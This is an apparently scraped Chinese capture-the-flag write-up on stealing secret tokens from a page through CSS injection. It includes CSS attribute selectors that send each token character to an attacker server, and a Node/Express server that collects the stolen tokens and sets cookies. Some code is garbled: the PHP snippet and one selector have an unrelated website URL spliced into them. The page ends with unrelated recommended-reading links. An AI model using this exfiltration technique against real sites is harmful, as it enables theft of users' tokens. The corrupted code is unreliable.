文章插图
noxss2019
可控点在@import url()路径中,但是尖括号和双引号等被转义了 。
文章插图
我们需要构造xss来获取下面 <script> 标签中 secret 的内容 。
文章插图
css本身是一种容错率很强的语言,css文件即使遇到错误,也会一直读取,直到有符合结构的语句 。
我们可以利用css解析的容错性构造 %0a){}body{color:red}/* 来执行任意css 。
文章插图
后面就是参考这篇文章:https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/去窃取管理员的secret内容 。
假设我们有一个php页面
<?php$token1 = md5($_SERVER['HTTP_USER_AGENT']);$token2 = md5($token1);?><!doctype html><meta charset=utf-8><input type=hidden value=https://www.isolves.com/it/aq/fwq/2019-12-19/=$token1 ?>>
页面中有两个token,一个在 <input> 标签中,一个在 <script> 内 。然后我们需要利用css参数构造xss来窃取这两个token 。
窃取input标签中的token
CSS选择器使我们能够准确选择HTML元素 。
/*选择value值为abc的input标签*/input[value=https://www.isolves.com/it/aq/fwq/2019-12-19/"abc"] { }/*选择value值以a开头的input标签 */input[value^="a"] { }
因此我们可以利用此来为属性的第一个字符的所有可能值准备不同的样式input[value^="0"] {background: url(http://serwer-napastnika/0);}input[value^="1"] {background: url(http://serwer-napastnika/1);}input[value^="2"] {background: url(http://serwer-napastnika/2);}...input[value^="e"] {background: url(http://serwer-napastnika/e);}input[value^="f"] {background: url(http://serwer-napastnika/f);}
文章插图
文章插图
同理我们可以依次提取出所有的token值 。
然后我们需要利用JAVAscript将上述过程自动化:
- HTML页面将使用js把CSS提取到的内容请求到攻击者的服务器上
- 攻击者的服务器会接受带有CSS提取的内容并进行反向通信,告诉客户端js如何提取内容
- 客户端js与攻击者的服务器之间的通信将通过cookie 。例如如果攻击者的服务器收到token的前两个字符为’49’,则设置 cookie=49 ,客户端js将定期检查cookie是否已设置,如果已设置,它将使用其值生成新的CSS来提取下一个标记字符 。
{"name": "css-attack-1","version": "1.0.0","description": "","main": "index.js","dependencies": {"express": "^4.15.5","js-cookie": "^2.1.4"},"devDependencies": {},"author": "","license": "ISC"}
const express = require('express');const App = express();app.disable('etag');const PORT = 3000;app.get('/token/:token',(req,res) => {const { token } = req.params; //var {a} = {a:1, b:2}; => var obj = {a:1, b:2};var a = obj.a;console.log(token);res.cookie('token',token);res.send('')});app.get('/cookie.js',(req,res) => {res.sendFile('js.cookie.js',{root: './node_modules/js-cookie/src/'});});app.get('/index.html',(req,res) => {res.sendFile('index.html',{root: '.'});});app.listen(PORT, () => {console.log(`Listening on ${PORT}...`);});
然后我们需要构造一个HTML文件来窃取token的所有下一个字符 。现在我们已知:- 我们要从0-9a-f范围内提取由32个字符组成的令牌,
- 我们有一个存在CSS注入的页面,我们可以通过HTML的 <iframe> 标签来引用此页面 。
攻击流程如下:
- 如果我们目前设法提取的令牌长度小于预期的长度,则我们执行以下操作
- 删除包含所有先前提取数据的cookie
- 创建一个iframe标签,并引用一个易受攻击的页面,该页面具有相应的css代码,允许我们提取另一个标记字符 。
推荐阅读
- 八马茶业乌龙茶GAP示范基地通过验收
- 淘宝开店人脸认证不通过怎么办 淘宝开店阿里实人认证不通过
- 做梦梦见考试没通过 女人梦见考试没通过
- 安溪茶检中心通过食品检验机构资质认定初评
- 霞浦县,三茶树种质资源保护项目通过验收
- CSS浏览器兼容性,最完整处理方案
- 如何通过局域网方式接入Internet
- HTML + CSS 为何得不到编程界的认可?
- 梦见自己考试结果没通过 梦到自己考试没有通过是怎么回事
- 淘宝店铺怎么通过认证 淘宝开店认证已通过是不是已经开店成功了